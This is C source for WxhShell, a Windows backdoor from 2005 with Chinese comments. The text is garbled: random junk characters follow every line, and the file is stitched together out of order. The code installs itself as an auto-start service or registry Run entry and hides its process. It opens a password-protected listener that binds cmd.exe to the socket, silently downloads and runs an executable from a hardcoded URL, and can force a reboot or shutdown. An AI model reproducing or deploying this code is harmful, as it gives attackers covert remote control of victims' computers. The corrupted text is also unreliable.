    if(Boot(SHUTDOWN)) x  tYV"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y?*[}S  
    else { $/<"Si&(  
    closesocket(wsh); i)@U.-*5m  
    ExitThread(0); U+9- li  
    } j1;_w  
    break; _#J_$CE#  
    } cYq']$]  
  // 获取shell "LP, TC  
  case 's': { 1IOo?e=/bM  
    CmdShell(wsh); QLF,/"  
    closesocket(wsh); 2<y}91N:  
    ExitThread(0); +K$5tT6b  
    break; XQ0#0<  
  } { .aK{ V  
  // 退出 JK(`6qB>(6  
  case 'x': { up+.@h{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h \D_  
    CloseIt(wsh); &prdlh=UE  
    break; t`<}UWAH+  
    } ;Ch+X$m9  
  // 离开 zJnL<Q  
  case 'q': { )d770Xg+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1EC-e|M.  
    closesocket(wsh); `uIx/.L  
    WSACleanup(); Qfkh0DX B  
    exit(1); (aDb^(]>  
    break; >0Fxyv8  
        } ^MWEfPt  
  } [ 5CS}FB  
  } ! F0rd9  
_KSfP7VU  
  // 提示信息 A6?qIy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BB2_J=wA  
} * 1 |YLy  
  } x38SSzG:L  
K;<NBnH  
  return; >u9id>+  
} Ax5mP8S  
O3^98n2  
// shell模块句柄 ^[X|As2  
int CmdShell(SOCKET sock) u"`5  
{ {\vI9cni|"  
STARTUPINFO si; 'h!h!  
ZeroMemory(&si,sizeof(si)); ^3Z7dIUww  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; avu*>SB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UC8vR>e\  
PROCESS_INFORMATION ProcessInfo; Whv]88w{  
char cmdline[]="cmd"; JYZ2k=zh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7>nhIp))  
  return 0; I!|y;mh:it  
} :Az8K)  
8Zcol$XS'  
// 自身启动模式 =&di4'`  
int StartFromService(void) (l\a'3a.  
{ }G>v]bV0V  
typedef struct ]^iFqQe  
{ |_l<JQvf`E  
  DWORD ExitStatus; XAjd %Xv<  
  DWORD PebBaseAddress; B,~f "  
  DWORD AffinityMask; jGO9n  
  DWORD BasePriority; P1(8U%   
  ULONG UniqueProcessId; VqcBwJ!?p  
  ULONG InheritedFromUniqueProcessId; kJ%{ [1fr  
}   PROCESS_BASIC_INFORMATION; TqENaC#&  
;Ri 3#*a=  
PROCNTQSIP NtQueryInformationProcess; ~v.jZ/h  
RpHpMtvNo/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <MPeh&_3#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :.C+?$iuX  
,|e}Y [  
  HANDLE             hProcess; ??%)|nj.  
  PROCESS_BASIC_INFORMATION pbi; U>/<6 Wd  
Nc G,0K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KotPV  
  if(NULL == hInst ) return 0; +90u!r^v  
Ak xH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sx-EA&5-9k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Oq #o1>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DY)D(f/&3  
6!4';2Q  
  if (!NtQueryInformationProcess) return 0; Dl0/-=L  
F{TC#J}I%'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (3e;"'k  
  if(!hProcess) return 0; WuBmdjZ  
* <B)Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4a\n4KO X  
xCR; K]!  
  CloseHandle(hProcess); ^36M0h|R  
VYL@RL'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5,F;j<F  
if(hProcess==NULL) return 0; Bj;\mUsk  
}*?yHJ3  
HMODULE hMod; Lf5%M|o.)  
char procName[255]; [yO=S0 e  
unsigned long cbNeeded; uQeqnGp  
RxlszyE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Zw2jezP@t  
gE\A9L~b  
  CloseHandle(hProcess); IM@"AD52a  
W;^Rx.W  
if(strstr(procName,"services")) return 1; // 以服务启动 U5|B9%:&  
G1kDM.L  
  return 0; // 注册表启动 `-~`<#E[  
} x}v1X`6b  
4uFIpS|rq  
// 主模块 3Z_t%J5QZ$  
int StartWxhshell(LPSTR lpCmdLine) r %+Bc Y  
{ :lgHL3yl  
  SOCKET wsl; >NJjS8f5  
BOOL val=TRUE; 2K3MAd{  
  int port=0; J cP~-cp  
  struct sockaddr_in door; ^&C&~}Zv  
uK"^*NEC';  
  if(wscfg.ws_autoins) Install(); -oU@D  
xcHen/4X  
port=atoi(lpCmdLine); D0f*eSXE{  
)X7e$<SU*  
if(port<=0) port=wscfg.ws_port; :M@Mmp Ph  
a@Mq J=<L  
  WSADATA data; B,4q>KQA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (RExV?:  
Kl2}o|b   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L {!ihJr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :lNg:r$4  
  door.sin_family = AF_INET; X2i*iW<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PXa5g5 !  
  door.sin_port = htons(port); s\6N }[s  
+yGY 785b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p=2zS.  
closesocket(wsl); =D{B}=D\IM  
return 1; Dh2#$[/@1  
} 3Hs$]nQ_X  
DUqJ y*F(  
  if(listen(wsl,2) == INVALID_SOCKET) { w nWgy4:  
closesocket(wsl); B#1:Y;Z  
return 1; "<qEXX  
} 9e]'OKL+  
  Wxhshell(wsl); o\&~CW~@~  
  WSACleanup(); expxp#S  
q1STRYb   
return 0; <]~ZPk[  
Og=[4?Kpk  
} `ovgWv  
&D]&UQf  
// 以NT服务方式启动 5qC:yI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }X.>4\B5  
{ `{DG;J03[  
DWORD   status = 0; yji>*XG  
  DWORD   specificError = 0xfffffff; FW_G\W.  
Vz'HM$  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  O)OUy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 21 ViHV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /oFc 03d  
  serviceStatus.dwWin32ExitCode     = 0; vmvFBzLR  
  serviceStatus.dwServiceSpecificExitCode = 0; `v~!H\q  
  serviceStatus.dwCheckPoint       = 0; $Y6 3!*  
  serviceStatus.dwWaitHint       = 0; V`by*s  
7^Na9]PY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~> PgJ ^G  
  if (hServiceStatusHandle==0) return; NIaF5z  
YwGH G{?e  
status = GetLastError(); ^xt9pa$f  
  if (status!=NO_ERROR) TMqY4;UeL  
{ 7(NXCAO81  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3^XVQS***  
    serviceStatus.dwCheckPoint       = 0; t=Jm|wJnUA  
    serviceStatus.dwWaitHint       = 0; t}VwVf<K  
    serviceStatus.dwWin32ExitCode     = status; 6%E~p0)i%  
    serviceStatus.dwServiceSpecificExitCode = specificError; nx B32  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k}HQq_Y(<  
    return; vu<#wW*9  
  } U,'EF[t  
n08; <  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kQIfYtT  
  serviceStatus.dwCheckPoint       = 0; Q70bEHLA  
  serviceStatus.dwWaitHint       = 0; .9OFryo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ocwE_dR{  
} +1/b^Ac  
[A]Ca$':  
// 处理NT服务事件,比如:启动、停止 Rjq a_hxrS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %J _ymJ'pd  
{ yc[(lq.^n  
switch(fdwControl) g,=^'D  
{ b~*i91)\  
case SERVICE_CONTROL_STOP: ;gUXvx~~r  
  serviceStatus.dwWin32ExitCode = 0; x/xb1"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Pxqiv9D<R  
  serviceStatus.dwCheckPoint   = 0; =-Nsc1&  
  serviceStatus.dwWaitHint     = 0; ;\x~'@  
  { wdwp9r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L7}i q0  
  } nVXg,Jl  
  return; =T4u":#N;  
case SERVICE_CONTROL_PAUSE: tFiR!f)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3{e'YD~hP  
  break; IC/Q  
case SERVICE_CONTROL_CONTINUE: L,$3Yj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O |WbFf  
  break; pv&^D,H,  
case SERVICE_CONTROL_INTERROGATE: _f|/*. @Q  
  break; (ND%}  
}; Z(; AyTXA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;Xu22f Kh  
} ?}8IQxU  
# $~ oe"  
// 标准应用程序主函数 cIb4-TeV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r|fO7PD  
{ 5)`h0TK  
('4wXD]C  
// 获取操作系统版本 h55>{)(E  
OsIsNt=GetOsVer(); K6B4sE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8teJ*sz  
.YR8v1Cp  
  // 从命令行安装 'I v_mig  
  if(strpbrk(lpCmdLine,"iI")) Install(); MM gx|"  
B |&F%P0:  
  // 下载执行文件 a$$ Wt<&Y  
if(wscfg.ws_downexe) { QPs:RhV7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [7.agI@=  
  WinExec(wscfg.ws_filenam,SW_HIDE); YE\K<T jH  
} 7$7n71o  
H\#:,s{1  
if(!OsIsNt) { ")%r}:0  
// 如果时win9x,隐藏进程并且设置为注册表启动 [!~}S  
HideProc(); ){ gAj  
StartWxhshell(lpCmdLine); M{E{NK  
} NXI[q 'y  
else hcyO97@r  
  if(StartFromService()) .S7:;%qL6  
  // 以服务方式启动 "SR5wr   
  StartServiceCtrlDispatcher(DispatchTable); [PWL<t::c  
else 6/1$< !WH  
  // 普通方式启动 Q["t eo]DQ  
  StartWxhshell(lpCmdLine); ehT%s+aUw  
7ZsA5%s=,  
return 0; -DCa   
} 4pPI'd&/7  
n8u*JeN  
!ni>\lZ  
]JMl|e  
=========================================== K5`Rk" s  
Jhy(x1%  
OipqoI2  
6(KmA-!b(O  
URw5U1  
$iPP|Rw  
" !h:  Q  
eW50s`bKY  
#include <stdio.h> _kN*e:t  
#include <string.h> W&C-/O,m  
#include <windows.h> Gx'TkU=  
#include <winsock2.h> Z0* %Rq  
#include <winsvc.h> 3ZojE ux`  
#include <urlmon.h> 3Aj*\e0t  
o`6|ba  
#pragma comment (lib, "Ws2_32.lib") }l;Lxb2`  
#pragma comment (lib, "urlmon.lib") ~pz FZ7n4  
}ZzLs/v%X  
#define MAX_USER   100 // 最大客户端连接数 u|fXP)>.  
#define BUF_SOCK   200 // sock buffer ]db@RbaH  
#define KEY_BUFF   255 // 输入 buffer kg>>D  
o@k84+tn(  
#define REBOOT     0   // 重启 h{_*oBa  
#define SHUTDOWN   1   // 关机 0m)&Y FZ[(  
4l @)K9F  
#define DEF_PORT   5000 // 监听端口 AIZBo@xg  
!p[`IWZ  
#define REG_LEN     16   // 注册表键长度 d8OL!Rk  
#define SVC_LEN     80   // NT服务名长度 LM"y\q ]  
DDeE(E  
// 从dll定义API 50n}my'2h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z-,VnhLx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a$JLc a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \ZH&LPAY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qZ X/@Yxz  
DC:)Ysuj  
// wxhshell配置信息 E\th%q,mG  
struct WSCFG { GoE 'L  
  int ws_port;         // 监听端口 ^Z}Ob= .G  
  char ws_passstr[REG_LEN]; // 口令 fn}UBzED\  
  int ws_autoins;       // 安装标记, 1=yes 0=no }}T,W.#%u  
  char ws_regname[REG_LEN]; // 注册表键名 Jpj!rXTX*  
  char ws_svcname[REG_LEN]; // 服务名 W?z#pV+jt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H%}IuHhN)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x0Z5zV9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k \qiF|B)Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fly,-$K>LO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2R.2D'4)`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UVEz;<5@\  
J4aB Pq`  
}; ^p=L\SJ  
KQ`=t   
// default Wxhshell configuration ||eAE)  
struct WSCFG wscfg={DEF_PORT, M+xdHBg  
    "xuhuanlingzhe", R_kQPP  
    1, Q@QFV~  
    "Wxhshell", k6**u  
    "Wxhshell", :&w{\-0{  
            "WxhShell Service", m,_d^  
    "Wrsky Windows CmdShell Service", %XTA;lrz  
    "Please Input Your Password: ", <@uOCRb V  
  1, B0Xl+JIR#  
  "http://www.wrsky.com/wxhshell.exe", I021p5h|  
  "Wxhshell.exe" #A<P6zJXR  
    }; 0q6I;$H  
Ee2c5C!|C  
// 消息定义模块 B'weok  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v:|( 8Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tE"Si<[]H$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .$rC0<G[K  
char *msg_ws_ext="\n\rExit."; ra6o>lI(,  
char *msg_ws_end="\n\rQuit."; Vpp&|n9^  
char *msg_ws_boot="\n\rReboot..."; Y+-xvx :  
char *msg_ws_poff="\n\rShutdown..."; 6Bt=^~d  
char *msg_ws_down="\n\rSave to "; <4`eQ  
-1r2K  
char *msg_ws_err="\n\rErr!"; LE=k  
char *msg_ws_ok="\n\rOK!"; [QczlwmO  
*"{& FEV  
char ExeFile[MAX_PATH]; x?yD=Mq_  
int nUser = 0; acW'$@y9?N  
HANDLE handles[MAX_USER]; G^Tk 20*  
int OsIsNt; W/+K9S25  
Ru\_dr2yI}  
SERVICE_STATUS       serviceStatus; kQv*eZ~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !Pj/7JC0  
}1H=wg>\  
// 函数声明 = +Xc4a  
int Install(void); KEr\nKT1  
int Uninstall(void); Ufid%T'  
int DownloadFile(char *sURL, SOCKET wsh); { T]?o~W  
int Boot(int flag); =zg:aTMti  
void HideProc(void); X%{'<baR  
int GetOsVer(void); 2+"r~#K*  
int Wxhshell(SOCKET wsl); JXU2CyMY  
void TalkWithClient(void *cs); 8E^@yZo{  
int CmdShell(SOCKET sock); jE/oA<^  
int StartFromService(void); f [o%hCS  
int StartWxhshell(LPSTR lpCmdLine); x"4%(xBu  
GdmmrfXB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r/:%}(7;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2>PH 8  
'r} fZ  
// 数据结构和表定义 p@Q5b}xCG_  
SERVICE_TABLE_ENTRY DispatchTable[] = XvGA|Ekf<  
{ ]!{y a8  
{wscfg.ws_svcname, NTServiceMain}, K k[`dR;  
{NULL, NULL} kBEmmgL  
}; sz95i|@/  
/SR^C$h'I  
// 自我安装 " Ar*QJ0]  
int Install(void) !K0JV|-?t  
{ <vc`^Q&4B  
  char svExeFile[MAX_PATH]; 3I=kr  
  HKEY key; +a+`Z>  
  strcpy(svExeFile,ExeFile); Ob<W/-%5tH  
W{"XJt_  
// 如果是win9x系统,修改注册表设为自启动 )g1a'G  
if(!OsIsNt) { _}Ps(_5D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oQ2KW..q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <:;^'x>!  
  RegCloseKey(key); hfM;/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mDMt5(.   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h{iEZ#  
  RegCloseKey(key); ,/Cq v   
  return 0; A.%CAGU5w  
    } 'c`jyn  
  } (?&=T.*^  
} ;h/pnmhP  
else { g"8 .}1)~r  
0~gO'*2P  
// 如果是NT以上系统,安装为系统服务 i%{X9!*%TX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .p6+l!"  
if (schSCManager!=0) 9s$U%F6}  
{ zA+@FR?  
  SC_HANDLE schService = CreateService mxG]kqi  
  ( / !xF?OmVd  
  schSCManager, 6vy7l(%  
  wscfg.ws_svcname,  z01>'  
  wscfg.ws_svcdisp, (!K_Fy@  
  SERVICE_ALL_ACCESS, tbDoP Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E+xuWdp.*  
  SERVICE_AUTO_START, pw020}`  
  SERVICE_ERROR_NORMAL, i^"+5Eq[D  
  svExeFile, U9d:@9Y  
  NULL, =[tSd)D,y  
  NULL, 2 h|e  
  NULL, H=MCjh&$q  
  NULL, =_TaA(79  
  NULL i8pU|VpA  
  ); {U11^w1"3  
  if (schService!=0) h 8 @  
  { @9G- m(?*  
  CloseServiceHandle(schService); df*w>xS  
  CloseServiceHandle(schSCManager); RuRt0Sd3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f"5g>[ 1  
  strcat(svExeFile,wscfg.ws_svcname); +Ezgn/bS&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JWO=!^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =P77"Dd  
  RegCloseKey(key); TYgQJW?  
  return 0; |$lwkC)O  
    } o>D  
  } '` CspY  
  CloseServiceHandle(schSCManager); h5zVGr  
} t!;/Z6\Pb  
} R MYP"  
-e@!  
return 1; 3tS~:6-/  
} GUB`|is^  
bha?eN  
// 自我卸载 f^<6`Aeq  
int Uninstall(void) \l#>dq"Y  
{ 0lk;F  
  HKEY key; L;t)c  
sKaE-sbJY  
if(!OsIsNt) { #VbVs l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jFG0`n}I  
  RegDeleteValue(key,wscfg.ws_regname);  t,%iL  
  RegCloseKey(key); SS.jL)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y}R}-+bD/  
  RegDeleteValue(key,wscfg.ws_regname); xyHejE}  
  RegCloseKey(key); |Rzy8j*  
  return 0; vP-M,4c  
  } 2(YPz|~W  
} rw%l*xgX  
} /uqu32;o  
else { i, nD5 @#  
]rBM5~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VDEv>u4  
if (schSCManager!=0) }OShT+xeX  
{ j8,n7!G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >um!Eo  
  if (schService!=0) VL( <  
  { XR+3j/zEQ  
  if(DeleteService(schService)!=0) { +FFG#6e  
  CloseServiceHandle(schService); 4jm K].  
  CloseServiceHandle(schSCManager); S5=Udd"  
  return 0; 4N? v  
  } VrP}#3I  
  CloseServiceHandle(schService); n]CbDbNw7)  
  } 5ua?I9fY  
  CloseServiceHandle(schSCManager); ;DRTQn`m  
} (X[2TT3j!  
} [\ )Ge  
3NK ^AaTK  
return 1; q`|CrOzO  
} < a rZbM  
&x:JD1T}  
// 从指定url下载文件 ztM<J+  
int DownloadFile(char *sURL, SOCKET wsh) +*nGp5=^GE  
{ @!tVr3;N$  
  HRESULT hr; 9L eNe}9v  
char seps[]= "/"; #TJk-1XM*q  
char *token; m@xi0t  
char *file; J QKdW  
char myURL[MAX_PATH]; V2&^!#=s  
char myFILE[MAX_PATH]; dG'SZ&<  
7LZ^QC  
strcpy(myURL,sURL); ")#<y@Rv  
  token=strtok(myURL,seps); ak:v3cQR  
  while(token!=NULL) qztV,R T  
  { > 6CV4 L  
    file=token; !3&kQpF  
  token=strtok(NULL,seps); WV<tyx9Z  
  } ]5CNk+`'  
@ CsV]97`  
GetCurrentDirectory(MAX_PATH,myFILE); Sq]pQ8  
strcat(myFILE, "\\"); jB$SUO`*  
strcat(myFILE, file); `\$8`Zb;  
  send(wsh,myFILE,strlen(myFILE),0); pNaiXu3  
send(wsh,"...",3,0); Y0uvT7+[hi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ` vk0c  
  if(hr==S_OK) 7G2PMe;$m  
return 0; 3SG?W_  
else Q%=YM4;  
return 1; $+= <(*  
T8J4C=?/  
} haSM=;uPM  
Gy29MUF  
// 系统电源模块 !R{R??  
int Boot(int flag) n[+'OU[  
{ $ACx*e%  
  HANDLE hToken; oW}!vf3z  
  TOKEN_PRIVILEGES tkp; T`YwJ6N  
]Tp U"JD  
  if(OsIsNt) { U\<-mXv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T3J'fjY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pgc3jP!  
    tkp.PrivilegeCount = 1; &K%aw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SOh-,c\C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E$\~lcq  
if(flag==REBOOT) { !|{IVm/J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mNmUUj9z  
  return 0; {a q9i  
} :> -1'HC  
else { @uleyB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3x*z\VJ  
  return 0; 0~A#>R'  
} |w&~g9   
  } uGtV}-t:  
  else { H?rg5TI0  
if(flag==REBOOT) { <-C!;Ce{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BNm4k7 ]M  
  return 0; 7ET jn)%bs  
} GuQRn  
else { %uDG75KP{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Gm8E<iTP  
  return 0; I2Ev~!  
} TRvZ  
} cgZaPw2 bw  
D@54QJ<  
return 1; 'Z!G a.I  
} iw]k5<qKj  
f[~1<;|-  
// win9x进程隐藏模块 -E>)j\{PX7  
void HideProc(void) A*]$v  
{ HOW7cV'X  
o \L!(hm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wrv5V M}  
  if ( hKernel != NULL ) 6 vs3O  
  { `aSM8C\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y*YFB|f?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eD#XDK  
    FreeLibrary(hKernel); L ubrn"128  
  } cnNOZ$)  
v"lf-c  
return; 4iX-(ir,  
} je%M AgW`  
P~7.sM  
// 获取操作系统版本 7k8n@39?  
int GetOsVer(void) j~av\SCU*  
{ VV3}]GjC  
  OSVERSIONINFO winfo; i.a _C'<$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7nE"F!d+0  
  GetVersionEx(&winfo); `u'dh{,gE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D_D,t8_Y  
  return 1; /XpSe<3  
  else C3;[e0.1b  
  return 0; UZxmh sv  
} GrI&?=S^  
ocA]M=3~k  
// 客户端句柄模块 wT_^'i*@I  
int Wxhshell(SOCKET wsl) o#hI5  
{ 5~VosUp e7  
  SOCKET wsh; C7"HQQ  
  struct sockaddr_in client; ?-~I<f ]_  
  DWORD myID; DguB  
!q /5yEJ>h  
  while(nUser<MAX_USER) WStnzVe  
{ T 1Cs>#)  
  int nSize=sizeof(client); M}FWBs'*|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 05e>\}{0  
  if(wsh==INVALID_SOCKET) return 1; 1"E\C/c  
F+aQ $pQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :F(9"L  
if(handles[nUser]==0) EA0iYzV  
  closesocket(wsh); fEqC] *s  
else KCqqJ}G  
  nUser++; )2j:z#'>  
  } bKz{wm%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S7sb7c'4 k  
\9m*(_Qf  
  return 0; ?Myh 7  
} O.\h'3C  
@)0 Y~A )  
// 关闭 socket uH{'gd,q8  
void CloseIt(SOCKET wsh) 5w3Fqu>39?  
{ 78Y@OL_$  
closesocket(wsh); xy^1US ,L1  
nUser--; vOT*iax0  
ExitThread(0); X0i3_RVa  
} "sbBe73 m  
Lo`F  
// 客户端请求句柄 4M`Xrfwm'[  
void TalkWithClient(void *cs) `iYc<N`  
{ :t$A8+A+0  
'EX4.h a5  
  SOCKET wsh=(SOCKET)cs; tY_5Pz(@  
  char pwd[SVC_LEN]; UzQ$B>f  
  char cmd[KEY_BUFF]; avNLV  
char chr[1]; (_8#YyW#  
int i,j; FmT `Oa>  
Mtp%co)f  
  while (nUser < MAX_USER) { esq<xuZM4  
%KV2< t?  
if(wscfg.ws_passstr) { #x)}29%e#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "'{OIP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '`o[+.  
  //ZeroMemory(pwd,KEY_BUFF); 19I:%$U3  
      i=0; TmP8 q  
  while(i<SVC_LEN) { x:-`o_Q*i  
(V9h2g&8L  
  // 设置超时 ixI:@#5wY  
  fd_set FdRead; Slx2z%'>  
  struct timeval TimeOut; r*d Q5 _  
  FD_ZERO(&FdRead); ,U=E[X=H  
  FD_SET(wsh,&FdRead); *x,HnHT  
  TimeOut.tv_sec=8; >>V&yJ_  
  TimeOut.tv_usec=0; Q_}n%P:u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j jY{Uq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <94WZ?{p  
|5ONFd e"0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FdxsU DL  
  pwd=chr[0]; [x_s/"Md;  
  if(chr[0]==0xd || chr[0]==0xa) { otq,R6 ^  
  pwd=0; l9Pu&M?5  
  break; $9H[3OZPVv  
  } jT^!J+?6K+  
  i++; Bl4 dhBZoO  
    } fN[n>%)VO<  
{j@+h%sF>+  
  // 如果是非法用户,关闭 socket -Enbcz(B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I~RcOiL)  
} P9yw&A  
#s^s_8#&e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mQ,{=C=D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xp^$ E6YFy  
dXZP[K#  
while(1) { Lz6*H1~   
2oB?Dn  
  ZeroMemory(cmd,KEY_BUFF); }su6izx  
s=/^lOOO  
      // 自动支持客户端 telnet标准   rw*M&qg!z  
  j=0; t-EV h~D1p  
  while(j<KEY_BUFF) { Q \WXi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VM;g +RRq  
  cmd[j]=chr[0]; e6m1NH4,  
  if(chr[0]==0xa || chr[0]==0xd) { f\'G`4e  
  cmd[j]=0; `.8-cz  
  break; PP4d?+;V  
  } 5"2@NL  
  j++; =1Sy@MbH3  
    } !E0fGh  
MPG+B/P&  
  // 下载文件 g RU-g  
  if(strstr(cmd,"http://")) { gV`S%   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $i%HDt|  
  if(DownloadFile(cmd,wsh)) m3"c (L`B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dqz1xQ1  
  else E{oB2;P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); swt\Ru6,  
  } -x?Hj/  
  else { J/[7d?hI/  
\E&thp  
    switch(cmd[0]) { Zh? V,39  
  .h6Y< E  
